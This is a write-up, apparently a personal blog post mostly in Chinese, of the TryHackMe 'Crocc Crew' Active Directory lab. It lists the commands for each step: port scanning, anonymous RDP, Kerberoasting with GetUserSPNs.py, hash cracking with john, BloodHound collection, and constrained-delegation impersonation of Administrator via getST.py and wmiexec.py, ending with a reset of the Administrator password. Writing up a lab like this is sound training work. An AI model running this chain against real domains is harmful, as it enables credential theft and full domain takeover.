Crocc Crew Write Up on TryHackMe

Before all

第一次打TryHackMe上面的 Insane 機器!!!
好像沒有特別難(?)
只有第一步被梗了一下
Attacker’s IP : 10.9.195.189
Victim’s IP : 10.10.209.233
Victim’s IP : fusion.corp

Write up

Recon

port scan

command:

1
rustscan -a 10.10.209.233 --ulimit 5000 -- -sC -sV --script=ldap*

image

80 port 的web, ldap, KDC還有又是一坨rpc
也拿到host name COOCTUS.CORP

image

directory enumeration

只有掃出 robots.txt,不過web page是一坨rabbit hole…

Exploit

RDP Investigate to Visitor

Command:

1
rdesktop -u '' -f 10.10.209.233:3389

image

從Sticky Note拿到Visitor帳密

P.S. 那時候打很久,甚至拿webpage上面的username都下去hydra炸rdp密碼,結果都沒成功…,最後跑去看別人WRITE UP才看到要rdp上去看sticky note…

喔對,給VMWARE使用者一個溫馨提醒,你無法用 ctrl+alt+ENTER退出全螢幕rdp,要ctrl+alt+f3跳出去純terminal,ps aux後找到rdesktop把它 kill -9 掉。

GetUserSPNs to reset-password

逛了逛,試看看他可以看到哪些SPNㄅ
command:

1
python3 GetUserSPNs.py 'cooctus.corp/Visitor:GuestLogin!' -dc-ip 10.10.209.233 -request

image

拿到password-reset的帳號hash,存在passhash.txt丟john爆破:

1
john-the-ripper passhash.txt --wordlist=/home/wha13/wordlists/rockyou.txt

註:已經爆破過所以改用–show

image

Impersonate to Administrator

先利用bloodhound-python抓整個網路環境:

1
bloodhound-python -c All -u 'password-reset' -p 'resetpassword' -d cooctus.corp -ns 10.10.209.233 --zip

打開後可以看到 password-reset對oakley/DC.COOCTUS.CORP Allowed To Delegate,可以利用 Impersonate的方法建立暫時的Token登入
command:

1
2
3
sudo ./getST.py -spn "oakley/DC.COOCTUS.CORP" -impersonate "Administrator" "cooctus.corp/password-reset:resetpassword"
export KRB5CCNAME=Administrator@oakley_DC.COOCTUS.CORP@COOCTUS.CORP.ccache
python3 ./wmiexec.py -k -no-pass Administrator@DC.COOCTUS.CORP

image
image

After all

成功Admin後我才回去找flag…
我疑似有跳步驟(?)
上網找了一下別人打法應該要先拿admcrocccrew就是,但我拿不到他的SPN RRR
最後,我net user Administrator Whale120改掉密碼後,跑去RDP 搞怪
image
hehe,開心,感覺自己真的比較熟一點點ADㄌ